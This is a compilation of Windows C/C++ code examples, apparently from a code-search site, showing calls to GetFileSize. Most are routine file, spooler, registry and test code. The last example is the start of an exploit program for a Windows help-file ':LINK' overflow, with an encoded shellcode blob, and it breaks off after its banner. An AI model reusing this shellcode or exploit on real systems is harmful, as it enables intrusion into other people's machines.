Exemplo n.º 1
0
	File::File(std::string filePath){
		m_hasExtension = GetFileNameAndExtension(filePath, m_name, m_extension);
		m_size = GetFileSize(filePath);
	}
Exemplo n.º 2
0
ULONG CFile::GetLength() const
{
	return GetFileSize(m_hFile,0);
}
Exemplo n.º 3
0
HRESULT CreateShaderVertex(IDirect3DDevice9 *Device, TSTR File,LPDIRECT3DVERTEXDECLARATION9 * vdecl, LPDIRECT3DVERTEXSHADER9 *Handle)
{
	HRESULT			Hr;
	HANDLE			hFile;
	unsigned long	FileSize;
  	unsigned long	*Shader;
	TCHAR			*FileName;

	D3DCAPS9		Caps;
	DWORD Usage = 0;

	Hr = S_OK;

	D3DVERTEXELEMENT9 test[] = 
	{
			{ 0, 0,  D3DDECLTYPE_FLOAT3,   D3DDECLMETHOD_DEFAULT, D3DDECLUSAGE_POSITION, 0 },
			{ 0, 12, D3DDECLTYPE_FLOAT3,   D3DDECLMETHOD_DEFAULT, D3DDECLUSAGE_NORMAL,   0 },
			{ 0, 24, D3DDECLTYPE_FLOAT3,   D3DDECLMETHOD_DEFAULT, D3DDECLUSAGE_NORMAL,	 1 },
			{ 0, 36, D3DDECLTYPE_FLOAT2,   D3DDECLMETHOD_DEFAULT, D3DDECLUSAGE_TEXCOORD, 0 },
			{ 0, 44, D3DDECLTYPE_FLOAT2,   D3DDECLMETHOD_DEFAULT, D3DDECLUSAGE_TEXCOORD, 1 },
			{ 0, 52, D3DDECLTYPE_FLOAT2,   D3DDECLMETHOD_DEFAULT, D3DDECLUSAGE_TEXCOORD, 2 },
			{ 0, 60, D3DDECLTYPE_FLOAT2,   D3DDECLMETHOD_DEFAULT, D3DDECLUSAGE_TEXCOORD, 3 },
		D3DDECL_END()
	};


	
	Hr = Device->CreateVertexDeclaration(test, vdecl);
	if (FAILED(Hr)) {
		return Hr;
	}



	if(!File.Length())
	{
		Handle = 0;
		return(S_OK);
	}

	FileName = FindFile(File);

	if(Device && FileName)
	{

		Device->GetDeviceCaps(&Caps);

		// for those mad Laptop users
		if(Caps.DeviceType == D3DDEVTYPE_REF)
		{
			Usage = D3DUSAGE_SOFTWAREPROCESSING;
		}

		hFile = CreateFile(FileName,GENERIC_READ,0,NULL,OPEN_EXISTING,0,NULL);
		if(hFile == INVALID_HANDLE_VALUE) 
		{
			return(E_FAIL);
		}
		
		FileSize = GetFileSize(hFile,NULL);
		
		Shader = (unsigned long*)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,FileSize);
		if(!Shader) 
		{
			return(E_FAIL);
		}

		ReadFile(hFile,(void*)Shader,FileSize,&FileSize,NULL);
		CloseHandle(hFile);

		if(FAILED(Hr = Device->CreateVertexShader(Shader, Handle)))
		{
			return(Hr);
		}
	

		HeapFree(GetProcessHeap(),0,(void *)Shader);

	}
	else
	{
		return(E_FAIL);
	}


	return(Hr);
}
Exemplo n.º 4
0
GffFileReader::GffFileReader(
	__in const std::string & FileName,
	__in ResourceManager & ResMan
	)
/*++

Routine Description:

	This routine constructs a new GffFileReader object and parses the contents
	of a GFF file by filename.  The file must already exist as it
	immediately deserialized.

Arguments:

	FileName - Supplies the path to the GFF file.

	ResMan - Supplies the resource manager instance that is used to look up
	         STRREFs from talk tables.

Return Value:

	The newly constructed object.

Environment:

	User mode.

--*/
: m_File( INVALID_HANDLE_VALUE ),
  m_FileSize( 0 ),
  m_Language( LangEnglish ),
  m_ResourceManager( ResMan )
{
	HANDLE File;

	File = CreateFileA(
		FileName.c_str( ),
		GENERIC_READ,
		FILE_SHARE_READ | FILE_SHARE_DELETE,
		NULL,
		OPEN_EXISTING,
		FILE_ATTRIBUTE_NORMAL | FILE_FLAG_RANDOM_ACCESS,
		NULL);

	if (File == INVALID_HANDLE_VALUE)
	{
		File = CreateFileA(
			FileName.c_str( ),
			GENERIC_READ,
			FILE_SHARE_READ,
			NULL,
			OPEN_EXISTING,
			FILE_ATTRIBUTE_NORMAL | FILE_FLAG_RANDOM_ACCESS,
			NULL);

		if (File == INVALID_HANDLE_VALUE)
			throw std::exception( "Failed to open GFF file." );
	}

	m_File = File;

	m_FileWrapper.SetFileHandle( File );

	try
	{
		m_FileSize = GetFileSize( File, NULL );

		if ((m_FileSize == 0xFFFFFFFF) && (GetLastError( ) != NO_ERROR))
			throw std::exception( "Failed to read file size." );

		ParseGffFile( );
	}
	catch (...)
	{
		m_File = INVALID_HANDLE_VALUE;

		CloseHandle( File );

		m_FileWrapper.SetFileHandle( INVALID_HANDLE_VALUE );

		throw;
	}
}
Exemplo n.º 5
0
//////////////////////////////////////////////////////////////////////////
// 删除单个文件
BOOL slimhelper::DeleteFile(const CString& strFilePath,
                            ULONGLONG qwFileSize,
                            DWORD dwFileAttributes,
                            ISystemSlimCallBack* piCallback)
{
    BOOL retval = FALSE;
    BOOL bRetCode;
    CString strOldSecurityDescriptor;
    HRESULT hr;
    ULARGE_INTEGER tempSize;

    if (!piCallback)
        goto clean0;

    if (!piCallback->OnBeginProcessItem(strFilePath))
        goto clean0;

    if (INVALID_FILE_ATTRIBUTES == dwFileAttributes)
    {
        dwFileAttributes = ::GetFileAttributes(strFilePath);
        if (INVALID_FILE_ATTRIBUTES == dwFileAttributes)
            goto clean0;
    }

    if (dwFileAttributes & FILE_ATTRIBUTE_COMPRESSED
        || dwFileAttributes & FILE_ATTRIBUTE_SPARSE_FILE)
    {
        tempSize.LowPart = GetCompressedFileSize(strFilePath, &tempSize.HighPart);
        qwFileSize = tempSize.QuadPart;
    }
    else
    {
        if (0 == qwFileSize)
        {
            CAtlFile file;
            hr = file.Create(strFilePath, 
                FILE_GENERIC_READ, 
                FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE,
                OPEN_EXISTING);
            if (FAILED(hr))
                goto clean0;

            tempSize.LowPart = GetFileSize((HANDLE)file, &tempSize.HighPart);
            qwFileSize = tempSize.QuadPart;
        }
    }

    qwFileSize = FileSizeConver::Instance().FileSizeOnDisk(qwFileSize);

    if (!GrantFileAccess(strFilePath, strOldSecurityDescriptor))
        goto clean0;

    bRetCode = ::DeleteFile(strFilePath);
    if (!bRetCode)
    {
        if (!::MoveFileEx(strFilePath, NULL, MOVEFILE_DELAY_UNTIL_REBOOT))
        {
            goto clean0;
        }
    }

    piCallback->OnEndProcessItem(strFilePath, qwFileSize);

    retval = TRUE;

clean0:
    return retval;
}
Exemplo n.º 6
0
BOOL slimhelper::ScanFile(const CString& strFilePath, 
                          ULONGLONG qwFileSize,
                          DWORD dwFileAttributes,
                          ISystemSlimCallBack* piCallback)
{
    BOOL retval = FALSE;
    HANDLE hFind = NULL;
    HRESULT hr;
    ULARGE_INTEGER tempSize;
    ULONGLONG qwSaveSize = 0;
    BOOL bCompressed = FALSE;

    if (!piCallback)
        goto clean0;

    if (INVALID_FILE_ATTRIBUTES == dwFileAttributes)
    {
        dwFileAttributes = GetFileAttributes(strFilePath);
        if (INVALID_FILE_ATTRIBUTES == dwFileAttributes)
            goto clean0;
    }

    if (dwFileAttributes & FILE_ATTRIBUTE_COMPRESSED
        || dwFileAttributes & FILE_ATTRIBUTE_SPARSE_FILE)
    {
        bCompressed = TRUE;
    }

    if (bCompressed)
    {
        tempSize.LowPart = GetCompressedFileSize(strFilePath, &tempSize.HighPart);
        qwFileSize = tempSize.QuadPart;
    }
    else
    {
        if (0 == qwFileSize)
        {
            CAtlFile file;

            hr = file.Create(
                strFilePath, 
                FILE_GENERIC_READ, 
                FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE,
                OPEN_EXISTING
                );
            if (FAILED(hr))
                goto clean0;

            tempSize.LowPart = GetFileSize((HANDLE)file, &tempSize.HighPart);
            qwFileSize = tempSize.QuadPart;
        }
    }

    qwFileSize = FileSizeConver::Instance().FileSizeOnDisk(qwFileSize);

    piCallback->OnScanItem(strFilePath, qwFileSize, bCompressed);

    retval = TRUE;

clean0:
    if (hFind)
    {
        FindClose(hFind);
        hFind = NULL;
    }

    return retval;
}
//------------------------------------------------------------------------------
void Scan_registry_deletedKey_file(char *reg_file,unsigned int session_id,sqlite3 *db)
{
  //open file
  HANDLE Hfic = CreateFile(reg_file,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_SEQUENTIAL_SCAN,0);
  if (Hfic == INVALID_HANDLE_VALUE)return;

  DWORD taille_fic = GetFileSize(Hfic,NULL);
  if (taille_fic<1 || taille_fic == INVALID_FILE_SIZE)
  {
    CloseHandle(Hfic);
    return;
  }

  //alloc memory
  char *buffer = (char *) HeapAlloc(GetProcessHeap(), 0, taille_fic+1);
  if (!buffer)
  {
    CloseHandle(Hfic);
    return;
  }

  //load file
  DWORD copiee, position = 0, increm = 0;
  if (taille_fic > DIXM)increm = DIXM;
  else increm = taille_fic;

  while (position<taille_fic && increm!=0)
  {
    copiee = 0;
    ReadFile(Hfic, buffer+position, increm,&copiee,0);
    position +=copiee;
    if (taille_fic-position < increm)increm = taille_fic-position ;
  }
  CloseHandle(Hfic);

  //working
  if (position>0)
  {
    if (((REGF_HEADER*)buffer)->id == 0x66676572) //Fichier REG standard
    {
      taille_fic = position;
      position = 0x1000; //first hbin struct

      HBIN_HEADER *hb_h;
      DWORD pos_fhbin = 0;

      //recherche du 1er hbin !! (en cas de bug)
      while(position<taille_fic-4)
      {
        hb_h = (HBIN_HEADER *)&buffer[position];
        if (hb_h->id == 0x6E696268 )  //hbin
        {
          if (pos_fhbin == 0)pos_fhbin = position;
          position=position+HBIN_HEADER_SIZE;//entête hbin
          break;
        }else position++;
      }

      HBIN_CELL_PRE_HEADER *hb_ph;
      while(position<taille_fic-(HBIN_CELL_PRE_HEADER_SIZE+1))
      {
        //on ne traite que les clés nk (name key = directory)
        hb_ph = (HBIN_CELL_PRE_HEADER *)&buffer[position];
        if (((hb_ph->size[1]&0xFF) == 0xFF) && ((hb_ph->size[2]&0xFF) == 0xFF) && ((hb_ph->size[3]&0xFF) == 0xFF))
        {
          switch(hb_ph->type)
          {
            case 0x6B6E:  position = position + Traiter_RegBin_nk_deleted(reg_file, position, taille_fic, buffer,session_id,db,FALSE);break; //nk
            case 0x6B73 : if (position + HBIN_CELL_SK_SIZE < taille_fic)position = position + HBIN_CELL_SK_SIZE;else position++;break;//sk
            case 0x6B76 : if (position + HBIN_CELL_VK_SIZE < taille_fic)position = position + HBIN_CELL_VK_SIZE;else position++;break;//vk
            case 0x666C : if (position + HBIN_CELL_LF_SIZE < taille_fic)position = position + HBIN_CELL_LF_SIZE;else position++;break;//lf
            case 0x686C : if (position + HBIN_CELL_LH_SIZE < taille_fic)position = position + HBIN_CELL_LH_SIZE;else position++;break;//lh
            case 0x696C : if (position + HBIN_CELL_LI_SIZE < taille_fic)position = position + HBIN_CELL_LI_SIZE;else position++;break;//li
            case 0x6972 : if (position + HBIN_CELL_RI_SIZE < taille_fic)position = position + HBIN_CELL_RI_SIZE;else position++;break;//ri
            case 0x6264 : if (position + HBIN_CELL_DB_SIZE < taille_fic)position = position + HBIN_CELL_DB_SIZE;else position++;break;//db
            default : position++; break;
          }
        }else if (((hb_ph->size[0]&0xFF) != 0x00) &&((hb_ph->size[1]&0xFF) == 0x00) && ((hb_ph->size[2]&0xFF) == 0x00) && ((hb_ph->size[3]&0xFF) == 0x00) && hb_ph->type == 0x6B6E)
        {
            position = position + Traiter_RegBin_nk_deleted(reg_file, position, taille_fic, buffer,session_id,db,TRUE);
        }else position++;
      }
    }
  }
  //on libère la mémoire
  HeapFree(GetProcessHeap(), 0, buffer);
}
Exemplo n.º 8
0
int __cdecl main(int argc, char *argv[])
{

    HANDLE hFile = NULL;
    DWORD dwBytesWritten;
    const char* hugeStringTest =
        "1234567890123456789012345678901234567890";
    const char* szWritableFile = "writeable.txt";
    int i =0;
    if (0 != PAL_Initialize(argc,argv))
    {
        return FAIL;
    }

    /* create the test file         */
    hFile = CreateFile(szWritableFile, 
        GENERIC_WRITE,
        FILE_SHARE_WRITE,
        NULL,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL);

    if(hFile == INVALID_HANDLE_VALUE)
    {
        Fail("WriteFile: ERROR -> Unable to create file \"%s\".\n", 
            szWritableFile);
    }   

    /* write 4000 000 chars to the file.*/
    for (i=0; i<100000;i++)
    {
        if( WriteFile(hFile,        /* HANDLE handle to file    */
            hugeStringTest,         /* data buffer              */
            strlen(hugeStringTest), /* number of bytes to write */
            &dwBytesWritten,        /* number of bytes written  */
            NULL)                   /* overlapped buffer        */
            ==0)
        {
            Trace("WriteFile: ERROR -> Unable to write to file error: %ld \n",
                GetLastError());
            CleanUp(hFile,szWritableFile);
            Fail("");

        }
    }

    if(!FlushFileBuffers(hFile))
    {
        Trace("WriteFile: ERROR -> Call to FlushFileBuffers failed"
              "error %ld \n",GetLastError());
        CleanUp(hFile,szWritableFile);        
        Fail("");
    }

    /* test if the size changed properly. */
    if(GetFileSize(hFile,NULL) != 4000000)
    {
        Trace("WriteFile: ERROR -> file size did not change properly"
            " after writing 4000 000 chars to it ( size= %u )\n",                   
            GetFileSize(hFile,NULL));
        CleanUp(hFile,szWritableFile); 
        Fail("");

    }

    if (!CleanUp(hFile,szWritableFile))
    {
        Fail("");
    }

    PAL_Terminate();
    return PASS;
}
Exemplo n.º 9
0
PLOCAL_JOB
ReadJobShadowFile(PCWSTR pwszFilePath)
{
    DWORD cbFileSize;
    DWORD cbRead;
    HANDLE hFile = INVALID_HANDLE_VALUE;
    PLOCAL_JOB pJob;
    PLOCAL_JOB pReturnValue = NULL;
    PLOCAL_PRINTER pPrinter;
    PLOCAL_PRINT_PROCESSOR pPrintProcessor;
    PSHD_HEADER pShadowFile = NULL;
    PWSTR pwszPrinterName;
    PWSTR pwszPrintProcessor;

    // Try to open the file.
    hFile = CreateFileW(pwszFilePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    if (hFile == INVALID_HANDLE_VALUE)
    {
        ERR("CreateFileW failed with error %lu for file \"%S\"!\n", GetLastError(), pwszFilePath);
        goto Cleanup;
    }

    // Get its file size (small enough for a single DWORD) and allocate memory for all of it.
    cbFileSize = GetFileSize(hFile, NULL);
    pShadowFile = DllAllocSplMem(cbFileSize);
    if (!pShadowFile)
    {
        ERR("DllAllocSplMem failed with error %lu for file \"%S\"!\n", GetLastError(), pwszFilePath);
        goto Cleanup;
    }

    // Read the entire file.
    if (!ReadFile(hFile, pShadowFile, cbFileSize, &cbRead, NULL))
    {
        ERR("ReadFile failed with error %lu for file \"%S\"!\n", GetLastError(), pwszFilePath);
        goto Cleanup;
    }

    // Check signature and header size.
    if (pShadowFile->dwSignature != SHD_WIN2003_SIGNATURE || pShadowFile->cbHeader != sizeof(SHD_HEADER))
    {
        ERR("Signature or Header Size mismatch for file \"%S\"!\n", pwszFilePath);
        goto Cleanup;
    }

    // Retrieve the associated printer from the list.
    pwszPrinterName = (PWSTR)((ULONG_PTR)pShadowFile + pShadowFile->offPrinterName);
    pPrinter = LookupElementSkiplist(&PrinterList, &pwszPrinterName, NULL);
    if (!pPrinter)
    {
        ERR("Shadow file \"%S\" references a non-existing printer \"%S\"!\n", pwszFilePath, pwszPrinterName);
        goto Cleanup;
    }

    // Retrieve the associated Print Processor from the list.
    pwszPrintProcessor = (PWSTR)((ULONG_PTR)pShadowFile + pShadowFile->offPrintProcessor);
    pPrintProcessor = FindPrintProcessor(pwszPrintProcessor);
    if (!pPrintProcessor)
    {
        ERR("Shadow file \"%S\" references a non-existing Print Processor \"%S\"!\n", pwszFilePath, pwszPrintProcessor);
        goto Cleanup;
    }

    // Create a new job structure and copy over the relevant fields.
    pJob = DllAllocSplMem(sizeof(LOCAL_JOB));
    if (!pJob)
    {
        ERR("DllAllocSplMem failed with error %lu for file \"%S\"!\n", GetLastError(), pwszFilePath);
        goto Cleanup;
    }

    pJob->dwJobID = pShadowFile->dwJobID;
    pJob->dwPriority = pShadowFile->dwPriority;
    pJob->dwStartTime = pShadowFile->dwStartTime;
    pJob->dwTotalPages = pShadowFile->dwTotalPages;
    pJob->dwUntilTime = pShadowFile->dwUntilTime;
    pJob->pPrinter = pPrinter;
    pJob->pPrintProcessor = pPrintProcessor;
    pJob->pDevMode = DuplicateDevMode((PDEVMODEW)((ULONG_PTR)pShadowFile + pShadowFile->offDevMode));
    pJob->pwszDatatype = AllocSplStr((PCWSTR)((ULONG_PTR)pShadowFile + pShadowFile->offDatatype));
    pJob->pwszMachineName = AllocSplStr((PCWSTR)((ULONG_PTR)pShadowFile + pShadowFile->offMachineName));
    CopyMemory(&pJob->stSubmitted, &pShadowFile->stSubmitted, sizeof(SYSTEMTIME));

    // Copy the optional values.
    if (pShadowFile->offDocumentName)
        pJob->pwszDocumentName = AllocSplStr((PCWSTR)((ULONG_PTR)pShadowFile + pShadowFile->offDocumentName));

    if (pShadowFile->offNotifyName)
        pJob->pwszNotifyName = AllocSplStr((PCWSTR)((ULONG_PTR)pShadowFile + pShadowFile->offNotifyName));

    if (pShadowFile->offPrintProcessorParameters)
        pJob->pwszPrintProcessorParameters = AllocSplStr((PCWSTR)((ULONG_PTR)pShadowFile + pShadowFile->offPrintProcessorParameters));

    if (pShadowFile->offUserName)
        pJob->pwszUserName = AllocSplStr((PCWSTR)((ULONG_PTR)pShadowFile + pShadowFile->offUserName));

    // Jobs read from shadow files were always added using AddJob.
    pJob->bAddedJob = TRUE;

    pReturnValue = pJob;

Cleanup:
    if (pShadowFile)
        DllFreeSplMem(pShadowFile);

    if (hFile != INVALID_HANDLE_VALUE)
        CloseHandle(hFile);

    return pReturnValue;
}
Exemplo n.º 10
0
BOOL
WriteJobShadowFile(PWSTR pwszFilePath, const PLOCAL_JOB pJob)
{
    BOOL bReturnValue = FALSE;
    DWORD cbDatatype = (wcslen(pJob->pwszDatatype) + 1) * sizeof(WCHAR);
    DWORD cbDevMode = pJob->pDevMode->dmSize + pJob->pDevMode->dmDriverExtra;
    DWORD cbDocumentName = 0;
    DWORD cbFileSize;
    DWORD cbMachineName = (wcslen(pJob->pwszMachineName) + 1) * sizeof(WCHAR);
    DWORD cbNotifyName = 0;
    DWORD cbPrinterDriver = (wcslen(pJob->pPrinter->pwszPrinterDriver) + 1) * sizeof(WCHAR);
    DWORD cbPrinterName = (wcslen(pJob->pPrinter->pwszPrinterName) + 1) * sizeof(WCHAR);
    DWORD cbPrintProcessor = (wcslen(pJob->pPrintProcessor->pwszName) + 1) * sizeof(WCHAR);
    DWORD cbPrintProcessorParameters = 0;
    DWORD cbUserName = 0;
    DWORD cbWritten;
    DWORD dwCurrentOffset;
    HANDLE hSHDFile = INVALID_HANDLE_VALUE;
    HANDLE hSPLFile = INVALID_HANDLE_VALUE;
    PSHD_HEADER pShadowFile = NULL;

    // Try to open the SHD file.
    hSHDFile = CreateFileW(pwszFilePath, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, 0, NULL);
    if (hSHDFile == INVALID_HANDLE_VALUE)
    {
        ERR("CreateFileW failed with error %lu for file \"%S\"!\n", GetLastError(), pwszFilePath);
        goto Cleanup;
    }

    // Calculate the lengths of the optional values and the total size of the shadow file.
    if (pJob->pwszDocumentName)
        cbDocumentName = (wcslen(pJob->pwszDocumentName) + 1) * sizeof(WCHAR);

    if (pJob->pwszNotifyName)
        cbNotifyName = (wcslen(pJob->pwszNotifyName) + 1) * sizeof(WCHAR);

    if (pJob->pwszPrintProcessorParameters)
        cbPrintProcessorParameters = (wcslen(pJob->pwszPrintProcessorParameters) + 1) * sizeof(WCHAR);

    if (pJob->pwszUserName)
        cbUserName = (wcslen(pJob->pwszUserName) + 1) * sizeof(WCHAR);

    cbFileSize = sizeof(SHD_HEADER) + cbDatatype + cbDocumentName + cbDevMode + cbMachineName + cbNotifyName + cbPrinterDriver + cbPrinterName + cbPrintProcessor + cbPrintProcessorParameters + cbUserName;

    // Allocate memory for it.
    pShadowFile = DllAllocSplMem(cbFileSize);
    if (!pShadowFile)
    {
        ERR("DllAllocSplMem failed with error %lu for file \"%S\"!\n", GetLastError(), pwszFilePath);
        goto Cleanup;
    }

    // Fill out the shadow file header information.
    pShadowFile->dwSignature = SHD_WIN2003_SIGNATURE;
    pShadowFile->cbHeader = sizeof(SHD_HEADER);

    // Copy the values.
    pShadowFile->dwJobID = pJob->dwJobID;
    pShadowFile->dwPriority = pJob->dwPriority;
    pShadowFile->dwStartTime = pJob->dwStartTime;
    pShadowFile->dwTotalPages = pJob->dwTotalPages;
    pShadowFile->dwUntilTime = pJob->dwUntilTime;
    CopyMemory(&pShadowFile->stSubmitted, &pJob->stSubmitted, sizeof(SYSTEMTIME));

    // Determine the file size of the .SPL file
    wcscpy(wcsrchr(pwszFilePath, L'.'), L".SPL");
    hSPLFile = CreateFileW(pwszFilePath, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
    if (hSPLFile != INVALID_HANDLE_VALUE)
        pShadowFile->dwSPLSize = GetFileSize(hSPLFile, NULL);

    // Add the extra values that are stored as offsets in the shadow file.
    // The first value begins right after the shadow file header.
    dwCurrentOffset = sizeof(SHD_HEADER);

    CopyMemory((PBYTE)pShadowFile + dwCurrentOffset, pJob->pwszDatatype, cbDatatype);
    pShadowFile->offDatatype = dwCurrentOffset;
    dwCurrentOffset += cbDatatype;

    CopyMemory((PBYTE)pShadowFile + dwCurrentOffset, pJob->pDevMode, cbDevMode);
    pShadowFile->offDevMode = dwCurrentOffset;
    dwCurrentOffset += cbDevMode;

    // offDriverName is only written, but automatically determined through offPrinterName when reading.
    CopyMemory((PBYTE)pShadowFile + dwCurrentOffset, pJob->pPrinter->pwszPrinterDriver, cbPrinterDriver);
    pShadowFile->offDriverName = dwCurrentOffset;
    dwCurrentOffset += cbPrinterDriver;

    CopyMemory((PBYTE)pShadowFile + dwCurrentOffset, pJob->pwszMachineName, cbMachineName);
    pShadowFile->offMachineName = dwCurrentOffset;
    dwCurrentOffset += cbMachineName;

    CopyMemory((PBYTE)pShadowFile + dwCurrentOffset, pJob->pPrinter->pwszPrinterName, cbPrinterName);
    pShadowFile->offPrinterName = dwCurrentOffset;
    dwCurrentOffset += cbPrinterName;

    CopyMemory((PBYTE)pShadowFile + dwCurrentOffset, pJob->pPrintProcessor->pwszName, cbPrintProcessor);
    pShadowFile->offPrintProcessor = dwCurrentOffset;
    dwCurrentOffset += cbPrintProcessor;

    // Copy the optional values.
    if (cbDocumentName)
    {
        CopyMemory((PBYTE)pShadowFile + dwCurrentOffset, pJob->pwszDocumentName, cbDocumentName);
        pShadowFile->offDocumentName = dwCurrentOffset;
        dwCurrentOffset += cbDocumentName;
    }

    if (cbNotifyName)
    {
        CopyMemory((PBYTE)pShadowFile + dwCurrentOffset, pJob->pwszNotifyName, cbNotifyName);
        pShadowFile->offNotifyName = dwCurrentOffset;
        dwCurrentOffset += cbNotifyName;
    }

    if (cbPrintProcessorParameters)
    {
        CopyMemory((PBYTE)pShadowFile + dwCurrentOffset, pJob->pwszPrintProcessorParameters, cbPrintProcessorParameters);
        pShadowFile->offPrintProcessorParameters = dwCurrentOffset;
        dwCurrentOffset += cbPrintProcessorParameters;
    }

    if (cbUserName)
    {
        CopyMemory((PBYTE)pShadowFile + dwCurrentOffset, pJob->pwszUserName, cbUserName);
        pShadowFile->offUserName = dwCurrentOffset;
        dwCurrentOffset += cbUserName;
    }

    // Write the file.
    if (!WriteFile(hSHDFile, pShadowFile, cbFileSize, &cbWritten, NULL))
    {
        ERR("WriteFile failed with error %lu for file \"%S\"!\n", GetLastError(), pwszFilePath);
        goto Cleanup;
    }

    bReturnValue = TRUE;

Cleanup:
    if (pShadowFile)
        DllFreeSplMem(pShadowFile);

    if (hSHDFile != INVALID_HANDLE_VALUE)
        CloseHandle(hSHDFile);

    if (hSPLFile != INVALID_HANDLE_VALUE)
        CloseHandle(hSPLFile);

    return bReturnValue;
}
Exemplo n.º 11
0
//
//  FUNCTION: WndProc(HWND, unsigned, WORD, LONG)
//
//  PURPOSE:  Processes messages for the main window.
//
//  WM_COMMAND	- process the application menu
//  WM_PAINT	- Paint the main window
//  WM_DESTROY	- post a quit message and return
//
//
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
	int wmId, wmEvent;

	switch (message) 
	{
        HANDLE_MSG(hWnd, WM_PAINT, OnPaint);

		case WM_COMMAND:
			wmId    = LOWORD(wParam); 
			wmEvent = HIWORD(wParam); 
			// Parse the menu selections:
			switch (wmId)
			{
				case IDM_OPEN:
				{
					TCHAR szPathName[_MAX_PATH];    // Maximum file name size is 260 characters.
					OPENFILENAME ofn;

					BOOL bReturn;
					DWORD dw;
					int cbSize = sizeof(OPENFILENAME);

					szPathName[0] = 0;

					memset(&ofn, 0, cbSize);
					ofn.lStructSize = cbSize;
					ofn.hwndOwner = hWnd;
					ofn.lpstrFilter = TEXT("Text files\0*.txt\0All files\0*.*\0");
					ofn.nFilterIndex = 1;
					ofn.lpstrFile = szPathName;
					ofn.nMaxFile = _MAX_PATH;
					ofn.Flags = OFN_FILEMUSTEXIST | OFN_HIDEREADONLY;
					ofn.lpstrDefExt = TEXT("txt");
					bReturn = GetOpenFileName(&ofn);
					if(bReturn)
					{
						MessageBox(hWnd,szPathName,_T("File Selected"),MB_OK);
						HANDLE hFile = CreateFile(szPathName, 
										   GENERIC_READ,
										   FILE_SHARE_READ,
										   NULL,
										   OPEN_EXISTING,
										   FILE_ATTRIBUTE_NORMAL,
										   NULL);
						if (hFile == (HANDLE)0xffffffff)
						{
							MessageBox(hWnd, TEXT("Call to CreateFile failed"), achAppName, MB_OK);
							return 0L;
						}

						// Free memory if we've allocated any before.
						if (pData)
						{
    
							VirtualFree(pData, 0, MEM_RELEASE);
							pData = NULL;
						}

						// Determine file size first.
						DWORD dwFileSize = GetFileSize(hFile, NULL);
						pData = (TCHAR *)VirtualAlloc(NULL, dwFileSize, MEM_COMMIT, PAGE_READWRITE);

						DWORD dwRead;
						ReadFile(hFile, pData, dwFileSize, &dwRead, NULL);
						CloseHandle(hFile);

						InvalidateRect(hWnd, NULL, TRUE);
						return 0L;
					}
					else
					{
						dw = CommDlgExtendedError();
						if(dw==0)
							MessageBox(hWnd,_T("User clicked cancel"),_T("Open"),MB_OK);
						else
							MessageBox(hWnd,_T("Error"),_T("Open"),MB_OK);
					}
				}
				    break;
				case IDM_HELP_ABOUT:
				   DialogBox(hInst, (LPCTSTR)IDD_ABOUTBOX, hWnd, (DLGPROC)About);
				   break;
				case IDM_FILE_EXIT:
				   DestroyWindow(hWnd);
				   break;
				default:
				   return DefWindowProc(hWnd, message, wParam, lParam);
			}
			break;
		case WM_CREATE:
			hwndCB = CommandBar_Create(hInst, hWnd, 1);			
			CommandBar_InsertMenubar(hwndCB, hInst, IDM_MENU, 0);
			CommandBar_AddAdornments(hwndCB, 0, 0);
			break;
		case WM_DESTROY:
			CommandBar_Destroy(hwndCB);
			PostQuitMessage(0);
			break;
		default:
			return DefWindowProc(hWnd, message, wParam, lParam);
   }
   return 0;
}
Exemplo n.º 12
0
int main (int argc, char *argv[]) {

	HANDLE ExploitFile;
	DWORD lpNumberOfBytesWritten, lpFileSizeHigh, FileSize;

	int i,j, len, RetByte=0xE5;

	char *file, *url;

unsigned char *Shellcode, *buffer,

RealGenericShellcode[] = 
"\x68\x5E\x56\xC3\x90\x8B\xCC\xFF\xD1\x83\xC6\x0E\x90\x8B\xFE\xAC"
"\x34\x99\xAA\x84\xC0\x75\xF8"

"\x72\xeb\xf3\xa9\xc2\xfd\x12\x9a\x12\xd9\x95\x12\xd1\x95\x12\x58\x12\xc5\xbd\x91"
"\x12\xe9\xa9\x9a\xed\xbd\x9d\xa1\x87\xec\xd5\x12\xd9\x81\x12\xc1\xa5\x9a\x41\x12"
"\xc2\xe1\x9a\x41\x12\xea\x85\x9a\x69\xcf\x12\xea\xbd\x9a\x69\xcf\x12\xca\xb9\x9a"
"\x49\x12\xc2\x81\xd2\x12\xad\x03\x9a\x69\x9a\xed\xbd\x8d\x12\xaf\xa2\xed\xbd\x81"
"\xed\x93\xd2\xba\x42\xec\x73\xc1\xc1\xaa\x59\x5a\xc6\xaa\x50\xff\x12\x95\xc6\xc6"
"\x12\xa5\x16\x14\x9d\x9e\x5a\x12\x81\x12\x5a\xa2\x58\xec\x04\x5a\x72\xe5\xaa\x42"
"\xf1\xe0\xdc\xe1\xd8\xf3\x93\xf3\xd2\xca\x71\xe2\x66\x66\x66\xaa\x50\xc8\xf1\xec"
"\xeb\xf5\xf4\xff\x5e\xdd\xbd\x9d\xf6\xf7\x12\x75\xc8\xc8\xcc\x66\x49\xf1\xf0\xf5"
"\xfc\xd8\xf3\x97\xf3\xeb\xf3\x9b\x71\xcc\x66\x66\x66\xaa\x42\xca\xf1\xf8\xb7\xfc"
"\xe1\x5f\xdd\xbd\x9d\xfc\x12\x55\xca\xca\xc8\x66\xec\x81\xca\x66\x49\xaa\x42\xf1"
"\xf0\xf7\xdc\xe1\xf3\x98\xf3\xd2\xca\x71\xb5\x66\x66\x66\x14\xd5\xbd\x89\xf3\x98"
"\xc8\x66\x49\xaa\x42\xf1\xe1\xf0\xed\xc9\xf3\x98\xf3\xd2\xca\x71\x8b\x66\x66\x66"
"\x66\x49\x71\xe6\x66\x66\x66";


printf (" * ***************************************************** *\n"
	" *                 s0h - Skin of humanity                *\n"
	" *                    http://s0h.cc/                     *\n"
	" * ***************************************************** *\n"
	"     Win32hlp exploit for : \":LINK overflow\"           *\n"
	" * ***************************************************** *\n"
	" * Discovered by ThreaT <*****@*****.**>.                 *\n"
	" * Coded by ThreaT <*****@*****.**>                       *\n"
	" * Hompage : http://s0h.cc/~threat/                      *\n" 
